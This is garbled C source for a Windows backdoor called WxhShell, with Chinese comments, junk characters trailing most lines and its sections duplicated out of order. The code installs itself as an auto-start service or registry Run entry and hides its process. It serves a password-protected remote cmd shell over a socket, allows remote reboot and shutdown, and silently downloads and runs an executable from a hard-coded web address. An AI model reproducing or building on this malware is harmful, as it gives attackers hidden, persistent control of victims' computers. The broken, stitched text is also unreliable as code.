  // 关机 -ADb5-px  
  case 'd': { C;Kq_/l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); khP Ub,  
    if(Boot(SHUTDOWN)) Qoz4(~I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uY&t9L8  
    else { 'Urx83  
    closesocket(wsh); e9F+R@8  
    ExitThread(0); 9WL$3z'*  
    } s_!F`[  
    break; Tn'o$J  
    } o~x49%X<c  
  // 获取shell >b*}Td~J  
  case 's': { :dlG:=.W  
    CmdShell(wsh); bz\nCfU  
    closesocket(wsh); H9=8nLb.  
    ExitThread(0); Q-e(>=Gv_  
    break; |pT[ZT|}G  
  } 9 b&HqkXX  
  // 退出 PmUq~YZ7  
  case 'x': { e=i9l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dY?>:ce  
    CloseIt(wsh); 1mv8[^pF  
    break; xn<x/e  
    } w\>@> *E>  
  // 离开 T#YJ5Xw  
  case 'q': { F@xKL;'N74  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |x ir93|  
    closesocket(wsh); 9+'*  
    WSACleanup(); 2 o5u02x  
    exit(1); z7JhS|  
    break; x c?=fv  
        } `! )^g/>0i  
  } _y9NDLRs8  
  } JPe<qf-  
,/-DAo~O  
  // 提示信息 "2 qivJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F,xFeq$/{  
} 239g pf]}  
  } d?[8VfAnh  
GS,}]c=  
  return; Ye\ &_w"  
} \2 [  
qD(dAU  
// shell模块句柄 KhNE_. Z  
int CmdShell(SOCKET sock) =nUzBL%~  
{ ;+~Phdy  
STARTUPINFO si; tIW~Ng  
ZeroMemory(&si,sizeof(si)); j[$+hh3:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RAoY`AWI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q:P44`Aq  
PROCESS_INFORMATION ProcessInfo; rVb61$  
char cmdline[]="cmd"; K1*V\WRW5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i)M JP*  
  return 0; `_.(qg   
} ej]>*n  
i=`@)E  
// 自身启动模式 Nj}-"R\u  
int StartFromService(void) hx!hI1   
{ aB~=WWLR\  
typedef struct g-2(W   
{ x3=SMN|a  
  DWORD ExitStatus; 7HQ|3rt  
  DWORD PebBaseAddress; 10..<v7  
  DWORD AffinityMask; R5r CCp  
  DWORD BasePriority; l7S&s&W @  
  ULONG UniqueProcessId; +{&++^(}a  
  ULONG InheritedFromUniqueProcessId; I*= =I4qx  
}   PROCESS_BASIC_INFORMATION; hODq& 9!  
y.WEO>   
PROCNTQSIP NtQueryInformationProcess; 9y;8JO  
6z1>(Za7>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <w0$0ku  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =\x(Rs3  
IUwMIHq&sW  
  HANDLE             hProcess; ()EiBl(kWk  
  PROCESS_BASIC_INFORMATION pbi; HhT6gJWrU  
a>)|SfsE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /~_,p,:aP  
  if(NULL == hInst ) return 0; j<-YK4.t  
?`=r@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F'JceU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a*{ -r]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1y6{3AZm<  
5H/D~hr&  
  if (!NtQueryInformationProcess) return 0; 3/RNStd<L!  
),U>AiF]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $w ,^q+  
  if(!hProcess) return 0; j%Z%_{6Ds*  
'>dx~v %  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tf.DFfV#y  
u*<knZ~ty  
  CloseHandle(hProcess); oz/Nx{bg  
sEEyN3 N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f _*F&-L  
if(hProcess==NULL) return 0; nB#XQ8Nzx^  
"' ]|o~B  
HMODULE hMod; S2"H E`  
char procName[255]; 0tp3mYd  
unsigned long cbNeeded; N&-J,p~  
^Z:qlYZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vFl06N2  
TCetd#;R  
  CloseHandle(hProcess); pJ3Yjm[l  
:B5M#D!dO  
if(strstr(procName,"services")) return 1; // 以服务启动 q;=!=aRg  
cP`[/5R  
  return 0; // 注册表启动  @1O.;  
} u%I |os]  
TAKv E=a;  
// 主模块 @_C?M5v  
int StartWxhshell(LPSTR lpCmdLine) PNhxF C.  
{ m}o4Vr;"  
  SOCKET wsl; b[`fQv$G  
BOOL val=TRUE; ?Y\hC0a60  
  int port=0; "vN~7%  
  struct sockaddr_in door; IO}53zn<l  
'MY0v_  
  if(wscfg.ws_autoins) Install(); C`r{B.t`GT  
bz\-%$^k  
port=atoi(lpCmdLine); o=y0=,:a?9  
?'+ kZ|  
if(port<=0) port=wscfg.ws_port; z"j]m_m H  
F<LRo}j"9Q  
  WSADATA data; *^Xtorqo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xmBGZ4f%  
B4 +A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U)iq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s\3OqJo%)  
  door.sin_family = AF_INET; TIYo&?Z)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jltW@co2sV  
  door.sin_port = htons(port); Y;[+^J*a  
vvmG46IgZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b_rHt s  
closesocket(wsl); v2;' F  
return 1; dxK3462  
} P1IL ]  
:DoE_  
  if(listen(wsl,2) == INVALID_SOCKET) { R gTrj  
closesocket(wsl); o%sx(g=q6  
return 1; 'jj|bN  
} II) K0<  
  Wxhshell(wsl); %+0V0.  
  WSACleanup(); 8m"jd+  
'4]_~?&x  
return 0; HGl.dO 7NU  
=@y ?Np^A  
} >N8*O3  
\zx$]|AQ  
// 以NT服务方式启动 m*H' Cb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?:+sjHzXT  
{ \<0xg[  
DWORD   status = 0; c01i !XS  
  DWORD   specificError = 0xfffffff; 5}NTqN0@  
> xie+ ^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tv'=xDCp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 83g$k 9lG.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s5 ($b  
  serviceStatus.dwWin32ExitCode     = 0; $ n"*scyI  
  serviceStatus.dwServiceSpecificExitCode = 0; wjc&S'[  
  serviceStatus.dwCheckPoint       = 0; ;\(X;kQi  
  serviceStatus.dwWaitHint       = 0; Td,s"p>Vq  
iWp 6^g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S\R5SRE  
  if (hServiceStatusHandle==0) return; + [~)a 4#  
<tto8Y j  
status = GetLastError(); N977F$B o  
  if (status!=NO_ERROR) "xV0$%  
{ 8Ai\T_l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7-A/2/G<  
    serviceStatus.dwCheckPoint       = 0; nR`)kORc  
    serviceStatus.dwWaitHint       = 0; >vKOG@I  
    serviceStatus.dwWin32ExitCode     = status; #b wGDF  
    serviceStatus.dwServiceSpecificExitCode = specificError; (Qf. S{;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HvLx  
    return; A5?q&VS}p  
  } "< })X.t  
X;7hy0Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CRs@x` 5ue  
  serviceStatus.dwCheckPoint       = 0; l?)!^}Qc  
  serviceStatus.dwWaitHint       = 0; @RXkj-,eC#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J^y?nE(j  
} Ge1b_?L_  
EFn[[<&><t  
// 处理NT服务事件,比如:启动、停止 bZWdd6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [ahK+J  
{ TE% i   
switch(fdwControl) L%;[tu(*  
{ 1\ Gxk&  
case SERVICE_CONTROL_STOP: 3@42u G>  
  serviceStatus.dwWin32ExitCode = 0; `!Yd$=*c_&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =z[$ o9  
  serviceStatus.dwCheckPoint   = 0; eI,H  
  serviceStatus.dwWaitHint     = 0; 2{<o1x,Ym  
  { \![ p-mW{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q?>DbT6  
  } 7#(0GZN9h%  
  return; ?azcWf z0  
case SERVICE_CONTROL_PAUSE: 3 #"!Hg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4 (XV)QR  
  break; qL4s@<|~  
case SERVICE_CONTROL_CONTINUE: Z rv:uEl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o3JSh=  
  break; "h-ZwL  
case SERVICE_CONTROL_INTERROGATE: ==AmL]*  
  break; pp@O6   
}; '<{Jlz(u9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yw1-4*$c  
} a:Nf +t  
 JKV&c= I  
// 标准应用程序主函数 `BVXF#sb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K[yP{01  
{ 0.)q5B`  
)H(i)$I  
// 获取操作系统版本 iDWM-Ytx  
OsIsNt=GetOsVer(); /j-c29nz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HD'adj_,  
cx]H8]ch7  
  // 从命令行安装 ow{J;vFy\  
  if(strpbrk(lpCmdLine,"iI")) Install(); c9x&:U  
'xLXj>  
  // 下载执行文件 RsYMw3)G  
if(wscfg.ws_downexe) { S)?N6sz%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E0AbVa.  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z/czAr@4  
} 7=/iFv[  
/cT6X]o8  
if(!OsIsNt) { ZUkM8M$c  
// 如果时win9x,隐藏进程并且设置为注册表启动 C_Z/7x*>d  
HideProc(); 0O[le*3b  
StartWxhshell(lpCmdLine); YSrjg|k*  
} &\%\"Zh  
else ""A6n{4  
  if(StartFromService()) %JgdLnQE  
  // 以服务方式启动 \)?+6D'#  
  StartServiceCtrlDispatcher(DispatchTable); )-0+O=v  
else /_qHF-  
  // 普通方式启动 3N 5@<:2`  
  StartWxhshell(lpCmdLine); P=PeWX*L<Z  
v*OV\h.  
return 0; !_FTy^@c2  
} cyo[HI?WM  
zz!jt A  
*d`KD64  
bp<,Xfl  
=========================================== zhJ0to[%?  
5|cRHM#  
'E&tEbY  
xS>vmnW  
tW a'[2L  
!nq`Py MR  
" #m17cDL  
icb *L~qm  
#include <stdio.h> XOLE=zdSp  
#include <string.h> KY}H-  
#include <windows.h> ltlo$`PR  
#include <winsock2.h> hw.>HT|.N  
#include <winsvc.h> bYoBJ #UX  
#include <urlmon.h> 8 /%{xB^  
w51l;2$des  
#pragma comment (lib, "Ws2_32.lib") U>OAtiq JX  
#pragma comment (lib, "urlmon.lib") D(OJr5Gg  
1$+8wDVwad  
#define MAX_USER   100 // 最大客户端连接数 r6kJV4I=re  
#define BUF_SOCK   200 // sock buffer 684d&\(s  
#define KEY_BUFF   255 // 输入 buffer >JAWcT)d  
&_u.q/~   
#define REBOOT     0   // 重启 yM7Iq)o6u  
#define SHUTDOWN   1   // 关机 /!MVpi'6&  
``eam8Az_U  
#define DEF_PORT   5000 // 监听端口 j ijwHL  
8d2\H*a9~  
#define REG_LEN     16   // 注册表键长度 r<4j;"lQK  
#define SVC_LEN     80   // NT服务名长度 Oet+$ b  
,<Z,-0S  
// 从dll定义API \7%#4@;?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wZN_YFwQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nzaA_^`mB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iPkCuLQ}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :w!hkUx#  
9K#3JyW*  
// wxhshell配置信息 PR]b ]=  
struct WSCFG { Wa7wV 9  
  int ws_port;         // 监听端口 ]<C]`W2{  
  char ws_passstr[REG_LEN]; // 口令 c#>(8#'.U  
  int ws_autoins;       // 安装标记, 1=yes 0=no vS)>g4  
  char ws_regname[REG_LEN]; // 注册表键名 1;H"4u_IG&  
  char ws_svcname[REG_LEN]; // 服务名 *c [^/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dk>6PBl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ".%d{z}vz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d#]hqy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :vX%0|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fi67"*gE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZX64kk+  
)UM^#<-  
}; Mn/@?K?y  
_Z!@#y@j  
// default Wxhshell configuration 8#V D u(  
struct WSCFG wscfg={DEF_PORT, 2aX*|DGpw  
    "xuhuanlingzhe", f*B-aj#  
    1, dJ m9''T')  
    "Wxhshell", ~D>pu%F  
    "Wxhshell", KX]!yA  
            "WxhShell Service", g&y^r/  
    "Wrsky Windows CmdShell Service", Eh ";irE  
    "Please Input Your Password: ", $xbW*w  
  1, k}Q<#   
  "http://www.wrsky.com/wxhshell.exe", [!yA#{xl,  
  "Wxhshell.exe" x(vQ %JC  
    }; /1v9U|j  
Z#L4n#TT  
// 消息定义模块 V^&*y+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5.oIyC^Ik  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1kKfFpN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g+4y^x(X@1  
char *msg_ws_ext="\n\rExit."; P3: t 4^  
char *msg_ws_end="\n\rQuit."; Hj|&P/jY]*  
char *msg_ws_boot="\n\rReboot..."; ?KOw~-u  
char *msg_ws_poff="\n\rShutdown..."; jT =|!,Pn  
char *msg_ws_down="\n\rSave to "; l"%80"zO  
iGu%_-S  
char *msg_ws_err="\n\rErr!"; Uu5(/vw]  
char *msg_ws_ok="\n\rOK!"; @$T$hMl  
#}FUau$  
char ExeFile[MAX_PATH]; [GI~ &  
int nUser = 0; sqtz^K ROM  
HANDLE handles[MAX_USER]; U]~@_j  
int OsIsNt; Tk4>Jb  
Lr D@QBT  
SERVICE_STATUS       serviceStatus; j}eb _K+I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ro\ oL  
L;%w{,Ji  
// 函数声明 ~(ke'`gJ0-  
int Install(void);  '2*OrY  
int Uninstall(void); a @2fJ}  
int DownloadFile(char *sURL, SOCKET wsh); [i /!ovcY  
int Boot(int flag); H{vKk  
void HideProc(void); lQHF=Jex  
int GetOsVer(void); LWT\1#  
int Wxhshell(SOCKET wsl); Ly+UY.v"  
void TalkWithClient(void *cs); _E`+0;O  
int CmdShell(SOCKET sock); <3x%-m+p4  
int StartFromService(void); 32<D9_  
int StartWxhshell(LPSTR lpCmdLine); Qk:Lo*!  
JiaR*3#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #~|k EGt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P,{Q k~iu  
PY.K_(D  
// 数据结构和表定义 hOU H1m.  
SERVICE_TABLE_ENTRY DispatchTable[] = 'UIFP#GtFO  
{ o5tCbsHj-  
{wscfg.ws_svcname, NTServiceMain}, MhD'  
{NULL, NULL} M}x%'=Pox  
};  7;fC%Fq  
^w\22 Q  
// 自我安装 q2vD)r  
int Install(void) 1N8] ~ j  
{ UxTLr-db^  
  char svExeFile[MAX_PATH]; phuiLW{&  
  HKEY key; *9EwZwE_K  
  strcpy(svExeFile,ExeFile); Yt]`>C[|D  
2!J#XzR0W  
// 如果是win9x系统,修改注册表设为自启动 i D IY|  
if(!OsIsNt) { I?3b}#&V9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KFd +7C9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Ed0BJTa  
  RegCloseKey(key); h#hr'3bI1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B>^6tdz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n[iwi   
  RegCloseKey(key); ^?`fN'!p  
  return 0; Swhz\/u9  
    } 9j>2C  
  } 9:USxFM  
} 't5ufAT  
else { #cfiN b}GX  
;\mX=S|a  
// 如果是NT以上系统,安装为系统服务 8(% F{&<;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G;G*!nlWf  
if (schSCManager!=0) )t|:_Z  
{ JX=rL6Y@:;  
  SC_HANDLE schService = CreateService _-_iw&F  
  ( $*#^C;7O  
  schSCManager, )4 4Y`v  
  wscfg.ws_svcname, *OG<+#*\_?  
  wscfg.ws_svcdisp, x|~8?i$%  
  SERVICE_ALL_ACCESS, /grTOf&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f,TW|Y'{g  
  SERVICE_AUTO_START, MeEa|.  
  SERVICE_ERROR_NORMAL, Ay?<~)H  
  svExeFile, ^Spu/55_  
  NULL, F?Lt-a+  
  NULL, 6VGY4j}:(  
  NULL, SsZC g#i  
  NULL, ?Ij(B}D  
  NULL T7 ,]^ 1  
  ); `MOw\Z)..  
  if (schService!=0) M*zpl}  
  { @sLN  
  CloseServiceHandle(schService); V!He2<  
  CloseServiceHandle(schSCManager); 7 m{lOR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !cyrt<  
  strcat(svExeFile,wscfg.ws_svcname); '? 5-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^5sA*%T4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ka9@7IFM  
  RegCloseKey(key); @Lnv  
  return 0; HoGYgye=  
    } Fc1!i8vv  
  } F/s n"2  
  CloseServiceHandle(schSCManager); w \b+OW  
} wXQxZuk[  
} YhN<vZ}U!~  
]/=RABi  
return 1; S0^a)#D &  
} 7S a9  
C t,p  
// 自我卸载 ^^N|:80  
int Uninstall(void) Njc@5*rJ &  
{ VHD+NY/  
  HKEY key; WywS1viD  
Dp([r  
if(!OsIsNt) { %F 2h C x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {rKC4:  
  RegDeleteValue(key,wscfg.ws_regname); h3?>jE=H  
  RegCloseKey(key); fN&\8SPE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /+Z*)q+SbT  
  RegDeleteValue(key,wscfg.ws_regname); &u>dKf)5  
  RegCloseKey(key); a2Ak?W1  
  return 0; -l= 4{^pK  
  } w|9 >4  
} xe!bfzU  
} 8fXiadP#  
else { !Y~UO)u2  
Y2r}W3F=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YRu@; `  
if (schSCManager!=0) kB 8^v7o  
{ 9J3fiA_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?\V#^q-  
  if (schService!=0) f{P1.?a  
  { Jl{ 0q7b  
  if(DeleteService(schService)!=0) { nI*.(+h  
  CloseServiceHandle(schService); +S4n416K  
  CloseServiceHandle(schSCManager); r2=@1=?8  
  return 0; Nz dN4+  
  } :ppaq  
  CloseServiceHandle(schService); F)^0R%{C  
  } :21d  
  CloseServiceHandle(schSCManager); RA0;f'"`  
} =:]ps<Qx  
} h&>3;Lj  
cb}zCl j o  
return 1; *[[Gu^t^!  
} _SBbd9  
Z1HH0{q-A  
// 从指定url下载文件 LikcW#  
int DownloadFile(char *sURL, SOCKET wsh) l f>/  
{ k =! Q  
  HRESULT hr; {MgRi 7  
char seps[]= "/"; xKUL}>8  
char *token; 2%%\jlT_  
char *file; =]7o+L4  
char myURL[MAX_PATH]; p!UR;xHI\  
char myFILE[MAX_PATH]; ALMsF2H  
o2!738  
strcpy(myURL,sURL); K<>kT4  
  token=strtok(myURL,seps); e5' I W__  
  while(token!=NULL) h4;kjr}h}  
  { jK w 96  
    file=token; FNQ<k[#K'~  
  token=strtok(NULL,seps); ,2FK$: M\  
  } b80#75Bj>  
Y(PCc}/\  
GetCurrentDirectory(MAX_PATH,myFILE); k\f _\pj6  
strcat(myFILE, "\\"); J,Sa7jv[  
strcat(myFILE, file); )WqolB  
  send(wsh,myFILE,strlen(myFILE),0);  /qLO/Mim  
send(wsh,"...",3,0); $[|(&8+7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e*:K79 y  
  if(hr==S_OK) |v!N1+v0  
return 0; QOWGQl%!  
else pD<w@2K  
return 1; $.`o  
ER"69zQg|2  
} ofy"SM  
\L Q+ n+  
// 系统电源模块 _C !i(z!d  
int Boot(int flag) @DysM~I  
{ {7M++J=  
  HANDLE hToken; 37hdZt.,  
  TOKEN_PRIVILEGES tkp; a-NTA  
}N g P`m  
  if(OsIsNt) { <M:BN6-yG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7e"}ojt$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8['R D`O  
    tkp.PrivilegeCount = 1; .+:iAnf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q#eMwM#~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a"jE\OZ{+s  
if(flag==REBOOT) { &L8RLSfX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t13V>9to  
  return 0; <%)vl P#@  
} i'ap8Dr  
else { !ho^:}m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qq,2V  
  return 0; h^3gYL7O6  
} '<Zm>L&  
  } h:4(Gm;  
  else { VF?H0}YSHb  
if(flag==REBOOT) { '/>Mr!H#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wiis<^)  
  return 0; +CSpL2@  
} D+7xMT8pqH  
else { CS[]T9|_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {++ EX2  
  return 0; NUsxMhP  
} ;.}L# '0j  
} +x%u?ZR  
io#}z4"'qY  
return 1; KIF9[/P  
} x9l7|G/$  
| eBwcC#^  
// win9x进程隐藏模块 `J.,dqGb  
void HideProc(void) Sdq}?-&Sa  
{  [Sm<X  
t'44X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <6Q^o[L  
  if ( hKernel != NULL ) Cut~k"lv  
  { >_}isCd,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @|Pm%K`1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _(m72o0g>>  
    FreeLibrary(hKernel); Pe%[d[ k  
  } |1@O>GG  
j,YrM?Xdo  
return; f{9+,z   
} 0z=KnQx"4  
tJ(xeb  
// 获取操作系统版本 owNwj  
int GetOsVer(void) I}8e"#  
{ @ m`C%7<  
  OSVERSIONINFO winfo; bDl:,7;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /M2in]oH  
  GetVersionEx(&winfo); SEgw!2H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h#0n2o#  
  return 1; ;$D,w  
  else iK}p#"si  
  return 0; KsULQJ#,  
} c9/w{}F  
JH?ohA  
// 客户端句柄模块 Cv#aBH'N  
int Wxhshell(SOCKET wsl) T~UDD3  
{ /H'- }C  
  SOCKET wsh; NpVL;6?7T  
  struct sockaddr_in client; ZKi&f,:  
  DWORD myID; #0AyC.\  
hW*o;o7u  
  while(nUser<MAX_USER) <'\Nv._2a  
{ u&~Xgq5[  
  int nSize=sizeof(client); J^+w]2`S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F,_L}  
  if(wsh==INVALID_SOCKET) return 1; f`qy~M&  
-zK>{)Z=q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n.+*_c8k  
if(handles[nUser]==0) `EKf1U\FI  
  closesocket(wsh); +`>7cy%cZ  
else m>uG{4<-  
  nUser++; MHwfJ{"zo  
  }  2s}S9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8^_:9&)i  
7C|AiSH  
  return 0; 'o&d!  
} S*l/ Sa@  
lT[,w9$  
// 关闭 socket YnpN -Y%g  
void CloseIt(SOCKET wsh) vP{i+s18B  
{ eU"yF >6'  
closesocket(wsh); JA^!i98{  
nUser--; R>c>wYt'f  
ExitThread(0); ^; KC E  
} 4X=VNORlU0  
"%T~d[M  
// 客户端请求句柄 W^<AUT  
void TalkWithClient(void *cs) U5"u h} 3  
{ "kApGNB  
Hzz{wY   
  SOCKET wsh=(SOCKET)cs; "ku[b\W  
  char pwd[SVC_LEN]; H&s`Xr  
  char cmd[KEY_BUFF]; 9~V'Wev  
char chr[1]; !*l/Pr^8  
int i,j; +?\JQ|  
hWly8B[I  
  while (nUser < MAX_USER) { Ti2cD  
6 lzjaW5h  
if(wscfg.ws_passstr) { JE O$v|X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (aYu[ML  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?e9tnk3  
  //ZeroMemory(pwd,KEY_BUFF); 21!X[) r  
      i=0; Y1cL dQn  
  while(i<SVC_LEN) { $#V'm{Hh  
4&E"{d >  
  // 设置超时 5 3pW:`  
  fd_set FdRead; -'c qepC{T  
  struct timeval TimeOut; _`gF%$]b  
  FD_ZERO(&FdRead); Mmz; uy_  
  FD_SET(wsh,&FdRead); T#*,ME7|m  
  TimeOut.tv_sec=8; fTEZ@#p  
  TimeOut.tv_usec=0; yl$Ko  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1ZF KLI`V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !w7/G  
-aT-<+?s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); inW7t2p<s  
  pwd=chr[0]; RZW=z}T+H  
  if(chr[0]==0xd || chr[0]==0xa) { J@>|`9T9$  
  pwd=0; YI0l&'7  
  break; ,X/j6\VBO  
  } :}_hz )  
  i++; ?q6#M&|j/I  
    } Pz50etJ  
LB@<Q.b,U  
  // 如果是非法用户,关闭 socket N+.Nu= +i2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -O &>HA  
} !$n@:W/  
?EUg B\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `:'ciY|%b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }wo:1v8J  
,?LE5]  
while(1) { +~=a$xA[C  
Q7y' 0s  
  ZeroMemory(cmd,KEY_BUFF); '$,yV f  
NioqJG?p  
      // 自动支持客户端 telnet标准   h`U-{VIrqi  
  j=0; `N[@lV\xp!  
  while(j<KEY_BUFF) { JOuy_n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nHRsr x  
  cmd[j]=chr[0]; {5VJprTbv  
  if(chr[0]==0xa || chr[0]==0xd) { 1{/Cr K/o  
  cmd[j]=0; r!b>!  
  break; "PMJh3q  
  } gy?uk~p  
  j++; F7' MoH  
    } $j,$O>V  
f5//?ek  
  // 下载文件 a )lCp  
  if(strstr(cmd,"http://")) { n U=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h,y_ ^cf  
  if(DownloadFile(cmd,wsh)) RQ0^ 1 R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0J?443A Y  
  else @@ @}FV&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !{,2uQXe  
  } cQ$[Ba  
  else { e 6wevK\  
@ddCVxd  
